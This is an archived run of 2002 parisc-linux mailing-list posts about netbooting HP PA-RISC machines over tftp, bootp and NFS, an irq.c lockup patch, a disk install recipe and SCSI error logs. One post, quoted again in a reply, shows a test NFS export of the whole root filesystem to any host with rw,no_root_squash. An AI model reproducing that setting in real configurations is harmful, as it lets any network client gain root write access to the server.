	http://debian.cup.hp.com/LinuxCOE/Debian
	ftp://debian.cup.hp.com/LinuxCOE/Debian

or debian.cup.hp.com/debian instead.

Technical details:
	B180 running 2.4.18-pa22
	8 x 9GB in one raid0 for one ext3 filesystem.

enjoy,
grant



From - Thu Nov 08 21:22:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: tftp boot
Date: Wed, 15 May 2002 09:08:33 +0200 (CEST)
Lines: 74
Approved: news@gmane.org
Message-ID: <1021446513.3ce20971163e7@webmail.tiscali.be>
References: <002501c1fb5b$48459540$02c1a8c0@james.co.uk> <002501c1fb5b$48459540$02c1a8c0@james.co.uk> <5.1.0.14.2.20020515114933.04d138b8@pop01.corpconnect.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621292 7198 80.91.229.3 (22 Nov 2014 01:54:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Muratti <rick@ccoz.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 15 01:08:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id BFE1E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 May 2002 01:08:46 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 177stl-0003hW-00; Wed, 15 May 2002 09:08:33 +0200
In-Reply-To: <5.1.0.14.2.20020515114933.04d138b8@pop01.corpconnect.com.au>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14768

Quoting Richard Muratti <rick@ccoz.com>:

> At 07:10 PM 14/05/2002 +0200, joel.soete@freebel.net wrote:
> >Hey James,
> >
> >CUT--
> 
> 
> >Linux version 2.4.18-pa12-lvm-1.0.3-evms-1.0.0-jfs-1.0.17
> (root@palinux) (gcc
> >version 3.0.4) #13 Tue May 14 15:42:21 CEST 2002
> CUT--
> 
> NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
> >Looking up port of RPC 100003/2 on 172.16.248.169
>                                                         
> ^^^^^^^^^^^^^^^^^
> Are you running nfsd on this machine and have you exported
> the root file system on it.
> 
> Cheers
> Rick
> 
> 

Interesting, in fact before no but now yes:
palinux:/etc# ps -ef | grep -e rpc -e nfs
root      9564     1  0 08:26 ?        00:00:00 /sbin/rpc.statd
root      9627     1  0 08:37 ?        00:00:00 [nfsd]
root      9628     1  0 08:37 ?        00:00:00 [nfsd]
root      9629     1  0 08:37 ?        00:00:00 [nfsd]
root      9630     1  0 08:37 ?        00:00:00 [nfsd]
root      9631     1  0 08:37 ?        00:00:00 [nfsd]
root      9632     1  0 08:37 ?        00:00:00 [nfsd]
root      9633     1  0 08:37 ?        00:00:00 [nfsd]
root      9634     1  0 08:37 ?        00:00:00 [nfsd]
root      9637  9635  0 08:37 ?        00:00:00 [rpciod]
root      9639     1  0 08:37 ?        00:00:00 /usr/sbin/rpc.mountd
root      9650   258  0 08:41 pts/0    00:00:00 grep -e rpc -e nfs
palinux:/etc# exportfs
/               <world>
palinux:/etc# more /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
/ *(rw,no_root_squash)

(just for test)

And on HPUX ws:

[wsjso] root /PALINUX # bdf
Filesystem          kbytes    used   avail %used Mounted on
...
palinux:/          1730552 1483088  159552   90% /PALINUX/NFS_TEST

[wsjso] root /PALINUX # ls /PALINUX/NFS_TEST
.bash_history  GNU-Dev        boot           dev            home          
lost+found     root           tmp            vmlinux
.memdump       Sources        cdrom          etc            initrd         mnt 
          sbin           usr
Develop        bin            cdrom0         floppy         lib            proc
          tftpboot       var
Ok.

Never the less it does not help the boot stil failed the same way.

Thanks a lot for advice,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Muratti <rmurat@attglobal.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: tftp boot
Date: Wed, 15 May 2002 18:27:09 +1000
Lines: 137
Approved: news@gmane.org
Message-ID: <5.1.0.14.2.20020515180607.04cd8790@pop01.corpconnect.com.au>
References: <5.1.0.14.2.20020515114933.04d138b8@pop01.corpconnect.com.au>
 <002501c1fb5b$48459540$02c1a8c0@james.co.uk>
 <002501c1fb5b$48459540$02c1a8c0@james.co.uk>
 <5.1.0.14.2.20020515114933.04d138b8@pop01.corpconnect.com.au> <1021446513.3ce20971163e7@webmail.tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416621292 7201 80.91.229.3 (22 Nov 2014 01:54:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 15 02:38:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from picard.corpconnect.com.au (picard.corpconnect.com.au [203.34.58.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 28A77482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 May 2002 02:38:04 -0600 (MDT)
Original-Received: from klingon.corpconnect.com.au (ppro.corpconnect.com.au [203.34.58.17])
	by picard.corpconnect.com.au (8.8.7/8.8.7) with ESMTP id SAA29996
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 May 2002 18:38:02 +1000
X-Sender: rmurat@pop01.ny.us.ibm.net
X-Mailer: QUALCOMM Windows Eudora Version 5.1
In-Reply-To: <1021446513.3ce20971163e7@webmail.tiscali.be>
Original-References: <5.1.0.14.2.20020515114933.04d138b8@pop01.corpconnect.com.au>
 <002501c1fb5b$48459540$02c1a8c0@james.co.uk>
 <002501c1fb5b$48459540$02c1a8c0@james.co.uk>
 <5.1.0.14.2.20020515114933.04d138b8@pop01.corpconnect.com.au>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14769

Joel,

hear's my setup

/etc/inetd.conf
tftp    dgram   udp     wait    root    /usr/sbin/tcpd  in.tftpd
bootps  dgram   udp     wait    root    /usr/sbin/tcpd  bootpd -d 4

/etc/bootptab
c3000:hd=/tftpboot:bf=lifimage:ht=ether:ha=xxxxxxxx7368:sm=255.255.255.0:hn:ip=xxx.xx.xx.10:vm=rfc1048
alpha:hd=/tftpboot:bf=tftpboot.img:ht=ether:ha=xxxxxxxx33f6:sm=255.255.255.0:hn:ip=xxx.xx.xx.9:vm=rfc1048

/etc/exports
/tftpboot/c3000 c3000(rw,no_root_squash)

/etc/hosts
xxx.xx.xx.10    c3000   c3000

You must add you host to the hosts file for nfs export to work

ls tftpboot
System.map-20010115            lifimage 
nfsroot-20001009.tar.gz  vmlinux-20010201
System.map-32-serial-20010418  lifimage-20010115            tftpboot.img 
          vmlinux-32-serial-20010418
c3000                          lifimage_32_serial_20010418  vmlinux-20010115

ls /tftpboot/c3000
bin  boot  cdrom  dev  etc  floppy  home  initrd  lib  mnt  proc  root 
sbin  tmp  usr  var

I used one of the latest tar balls of the parisc-linux site ie I untarred 
nfsroot-20001009.tar.gz
into the c3000 dir.


ON the C3000
boot lan
Interact with IPL
Y

make sure the following is setup
root=/dev/nfs nfsroot=IP_ADDRESS_OF_NFS_SERVER:/tftpboot/c3000

I'm using the above to netboot a C3000 from an i386


Hope this helps.

Cheers
Rick



At 09:08 AM 15/05/2002 +0200, joel.soete@freebel.net wrote:
>Quoting Richard Muratti <rick@ccoz.com>:
>
> > At 07:10 PM 14/05/2002 +0200, joel.soete@freebel.net wrote:
> > >Hey James,
> > >
> > >CUT--
> >
> >
> > >Linux version 2.4.18-pa12-lvm-1.0.3-evms-1.0.0-jfs-1.0.17
> > (root@palinux) (gcc
> > >version 3.0.4) #13 Tue May 14 15:42:21 CEST 2002
> > CUT--
> >
> > NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
> > >Looking up port of RPC 100003/2 on 172.16.248.169
> >
> > ^^^^^^^^^^^^^^^^^
> > Are you running nfsd on this machine and have you exported
> > the root file system on it.
> >
> > Cheers
> > Rick
> >
> >
>
>Interesting, in fact before no but now yes:
>palinux:/etc# ps -ef | grep -e rpc -e nfs
>root      9564     1  0 08:26 ?        00:00:00 /sbin/rpc.statd
>root      9627     1  0 08:37 ?        00:00:00 [nfsd]
>root      9628     1  0 08:37 ?        00:00:00 [nfsd]
>root      9629     1  0 08:37 ?        00:00:00 [nfsd]
>root      9630     1  0 08:37 ?        00:00:00 [nfsd]
>root      9631     1  0 08:37 ?        00:00:00 [nfsd]
>root      9632     1  0 08:37 ?        00:00:00 [nfsd]
>root      9633     1  0 08:37 ?        00:00:00 [nfsd]
>root      9634     1  0 08:37 ?        00:00:00 [nfsd]
>root      9637  9635  0 08:37 ?        00:00:00 [rpciod]
>root      9639     1  0 08:37 ?        00:00:00 /usr/sbin/rpc.mountd
>root      9650   258  0 08:41 pts/0    00:00:00 grep -e rpc -e nfs
>palinux:/etc# exportfs
>/               <world>
>palinux:/etc# more /etc/exports
># /etc/exports: the access control list for filesystems which may be exported
>#               to NFS clients.  See exports(5).
>/ *(rw,no_root_squash)
>
>(just for test)
>
>And on HPUX ws:
>
>[wsjso] root /PALINUX # bdf
>Filesystem          kbytes    used   avail %used Mounted on
>...
>palinux:/          1730552 1483088  159552   90% /PALINUX/NFS_TEST
>
>[wsjso] root /PALINUX # ls /PALINUX/NFS_TEST
>.bash_history  GNU-Dev        boot           dev            home
>lost+found     root           tmp            vmlinux
>.memdump       Sources        cdrom          etc            initrd 
>mnt
>           sbin           usr
>Develop        bin            cdrom0         floppy         lib 
>proc
>           tftpboot       var
>Ok.
>
>Never the less it does not help the boot stil failed the same way.
>
>Thanks a lot for advice,
>     Joel
>
>
>-------------------------------------------------
>This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:22:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] irq.c patch to fix lockups on recent kernels
Date: Wed, 15 May 2002 06:47:03 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <20020515134703.GY30370@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621293 7206 80.91.229.3 (22 Nov 2014 01:54:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:53 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 15 07:44:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (unknown [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7FD63482B
	for <parisc-linux@parisc-linux.org>; Wed, 15 May 2002 07:44:54 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id ohjknaaa for parisc-linux@parisc-linux.org; Wed, 15 May 2002 06:43:18 -0700
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 543EFCD63C; Wed, 15 May 2002 06:47:03 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14770

We have been seeing fairly frequent lockups while doing heavy I/O on 
recent kernels. Paul Bame isolated this to the 2.4.18-pa16->pa17 patch
to irq.c that was put in place to fix a xtime_lock deadlock.

Here is a patch that partially reverts that patch but still fixes the
xtime_lock problem, as well as avoiding the I/O hangs. After talking to
Grant about this, I'm not convinced this is the right fix. It seems like
do_cpu_irq_mask is already called with eiem masked, so I'm not sure why
masking it again might make a difference.... we might just be masking 
(no pun intended) another bug....

I've run a kernel with this patch on a SMP a500 overnight while doing
lots of I/O ... seems to be ok. The previous -pa2[1234] kernels will 
lock up in <10 minutes...

Can someone more familiar with this part of the kernel please take a
look?

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/irq.c,v
retrieving revision 1.53
diff -u -p -r1.53 irq.c
--- irq.c       2002/04/13 22:12:27     1.53
+++ irq.c       2002/05/15 13:35:06
@@ -382,6 +382,7 @@ void do_irq(struct irqaction *action, in
 void do_cpu_irq_mask(unsigned long mask, struct irq_region *region, struct pt_regs *regs)
 {
        unsigned long bit;
+       unsigned long orig_eiem;
        int irq;

 #ifdef DEBUG_IRQ
@@ -401,6 +402,9 @@ void do_cpu_irq_mask(unsigned long mask,
         * Keeping PSW_I disabled avoids this.
         */

+       orig_eiem = get_eiem();
+       set_eiem(orig_eiem & ~mask);
+
        for (bit = (1L<<MAX_CPU_IRQ), irq = 0; mask && bit; bit>>=1, irq++) {
                int irq_num;
                if (!(bit&mask))
@@ -410,9 +414,10 @@ void do_cpu_irq_mask(unsigned long mask,
                irq_num = region->data.irqbase + irq;
                do_irq(&region->action[irq], irq_num, regs);
        }
+       set_eiem(orig_eiem);

        /* Leave with PSW_I bit set */
-       local_irq_enable();
+       local_irq_enable();
 }



From - Thu Nov 08 21:22:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New HWDB design online
Date: Wed, 15 May 2002 21:26:50 +0200
Organization: private
Lines: 30
Approved: news@gmane.org
Message-ID: <3CE2B67A.AACAF4C4@gmx.at>
References: <62DAF8F4-6769-11D6-9BB9-0030656F07A2@esiee.fr> <3CE18B91.8B0E15B@gmx.at> <20020514235120.BA086482A@dsl2.external.hp.com> <20020515005302.GZ32033@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621293 7208 80.91.229.3 (22 Nov 2014 01:54:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:53 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	Thibaut VARENE <varenet@esiee.fr>,
	PA/Linux <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 15 13:26:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep16-int.chello.at (viefep16-int.chello.at [213.46.255.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18F96482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 May 2002 13:26:51 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep16-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020515192639.SAQH13834.viefep16-int.chello.at@gmx.at>;
          Wed, 15 May 2002 21:26:39 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14771

Thanks !!

Randolph Chung wrote:
> 
> > No. Mostly, thibaut just updated the header/footer/navigation bar
> > so it matches the rest of the site. Of course, if someone
> > *wants* to maintain hwdb, they should let me know...
> 
> I've been doing edits on and off...
> 
> > > Please delete for
> > >     720
> > >     E55
> > > the entry "christoph.plattner@dot.at". It is already duplicated with
> > > my "gmx.at" mail account ! "dot.at" is not valid now !
> >
> > If that doesn't get updated by this weekend, send me a friendly reminder
> > and I'll see if I can figure out how to do that on the weekend.
> 
> it's fixed now.
> 
> randolph

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:22:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "EVERSON,SETH (HP-Loveland,ex1)" <seth_everson2@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Try to boot b2000 failled?
Date: Wed, 15 May 2002 14:29:19 -0700
Lines: 96
Approved: news@gmane.org
Message-ID: <F341E03C8ED6D311805E00902761278C0CD12BEA@xfc04.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621293 7210 80.91.229.3 (22 Nov 2014 01:54:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'joel.soete@freebel.net'" <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 15 15:32:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id E13C9482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 May 2002 15:32:01 -0600 (MDT)
Original-Received: from xparelay1.corp.hp.com (xparelay1.corp.hp.com [15.58.136.173])
	by palrel12.hp.com (Postfix) with ESMTP
	id 17F1EE01E71; Wed, 15 May 2002 14:29:36 -0700 (PDT)
Original-Received: from xpabh2.corp.hp.com (xpabh2.corp.hp.com [15.58.136.192])
	by xparelay1.corp.hp.com (Postfix) with ESMTP
	id A7C0BE000AA; Wed, 15 May 2002 14:29:30 -0700 (PDT)
Original-Received: by xpabh2.corp.hp.com with Internet Mail Service (5.5.2653.19)
	id <KNL3PNXW>; Wed, 15 May 2002 14:29:30 -0700
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14772

Joel -

Here is what I've been doing to install debian on my C3600 and J5000.  No 
need for network or anything:

1.  Copy the file LIFIMAGE in the disks-hppa directory to a CD-ROM
2.  Boot a HP-UX 10 or 11 cd
3.  Go to the installer, and go to a recovery console.
4.  Load 'dd' and 'mount'.  This will get dd and all the mount files.
5.  Go to a shell.
6.  Mount /dev/dsk/c0t0d0 to /mnt with mount -t cdfs 
7.  Go to /mnt, then do a 'dd if='LIFIMAGE;1' of=/dev/dsk/cXtYdZ bs=2048'  
    where x, y, and z are your target scsi hard disk.  
8.  Reboot the machine, and boot the scsi hard disk you just targeted.
9.  Interact with the IPL, and your done.

The great thing is, everything gets loaded into RAM.  So, when you start
the install, just partition both drives like normal, and install.  Just 
make sure you do everything right the first time, or you'll have to repeat
the process.

-Seth

-----Original Message-----
From: joel.soete@freebel.net [mailto:joel.soete@freebel.net]
Sent: Tuesday, May 14, 2002 9:03 AM
To: joel.soete@freebel.net
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Try to boot b2000 failled?


Oops... I find back a kernel pa12 and this boot better until it panics
because of:
...
root fs not found
...

So I suspect a mistake in the bootp-tftp config.
In fact I would like to mount my palinux-0.9-3 cd on b180:/cdrom and use it
as
root fs to install the b2000.
Unfortunately i do not find any example to do this. Is somebody can share
its
experience.

Thanks in advance for additionale help,
    Joel

Quoting joel.soete@freebel.net:

> Hi all,
> 
> To split my gcc-3.2 and gcc-3.1 env on two different server (need disk
> space
> also), I would like to install a free b2000 workstation.
> 
> To do this i choose lan install (no possibilty for external scsi-cdrom
> and no
> more place to rebuild a new cdimage with recent kernel); I configure my
> palinux
> b180 as bootp-tftp server and configure in accordance with
>
http://pateam.esiee.fr/parisc-linux-boot/parisc-linux-boot/preparation.html.
> 
> In b2000 BOOT_ADMIN> boot lan, the lifimage (build with cvs palo &
> kernel
> 2.4.18-24 which boot well on my b180) is well found and launched but
> hang just
> after "Searching for devices..." and the green light on the ide cd-rom
> driver
> stay lighted?
> 
> Thanks in advance for help,
>     Joel
> 
> 
> -------------------------------------------------
> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:22:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Braid" <james.braid@peace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Dodgy SCSI in L2000
Date: Thu, 16 May 2002 17:00:30 +1200
Lines: 126
Approved: news@gmane.org
Message-ID: <013201c1fc96$99f8adf0$5e01000a@bongo>
References: <20020511211440.C705E482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621294 7215 80.91.229.3 (22 Nov 2014 01:54:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:54 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 15 22:57:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from intro.peace.co.nz (intro.peace.co.nz [202.14.141.227])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2CB28482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 May 2002 22:57:01 -0600 (MDT)
In-Reply-To: <20020511211440.C705E482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14773

Hey,

I have applied the patch just posted to the list (irq.c patch). I'm
running the latest CVS kernel on a dual 440Mhz L2000, 1Gb ram, 4x 18.2Gb
LVD SCSI disks.

I am seeing the same problems I have seen before (SCSI resets etc), BUT
the box is not kernel panicing any more - which is an improvement

Dbench works fine on single disks (i.e running one instance of dbench on
one disk) - up to 200 clients (didn't bother trying further).

But when I try to run 2 instances of dbench on any 2 disks in the box, I
get all sorts of SCSI bus resets and errors.

Heres a cut and paste from the console:

---------

scsi : aborting command due to timeout : pid 200512, scsi0, channel 0,
id 0, lun 0 Read (10) 00 02 03 78 20 00 00 08 00
sym53c8xx_abort: pid=200512 serial_number=200514
serial_number_at_timeout=200514
SCSI host 0 abort (pid 200512) timed out - resetting
SCSI bus is being reset for host 0 channel 0.
sym53c8xx_reset: pid=200512 reset_flags=2 serial_number=200514
serial_number_at_timeout=200514
scsi : aborting command due to timeout : pid 200771, scsi0, channel 0,
id 2, lun 0 Write (10) 00 01 98 22 c8 00 00 08 00
sym53c8xx_abort: pid=200771 serial_number=200773
serial_number_at_timeout=200773
scsi : aborting command due to timeout : pid 200772, scsi0, channel 0,
id 2, lun 0 Write (10) 00 00 01 10 a8 00 00 08 00
sym53c8xx_abort: pid=200772 serial_number=200774
serial_number_at_timeout=200774
scsi : aborting command due to timeout : pid 200773, scsi0, channel 0,
id 2, lun 0 Write (10) 00 02 00 63 e0 00 00 08 00
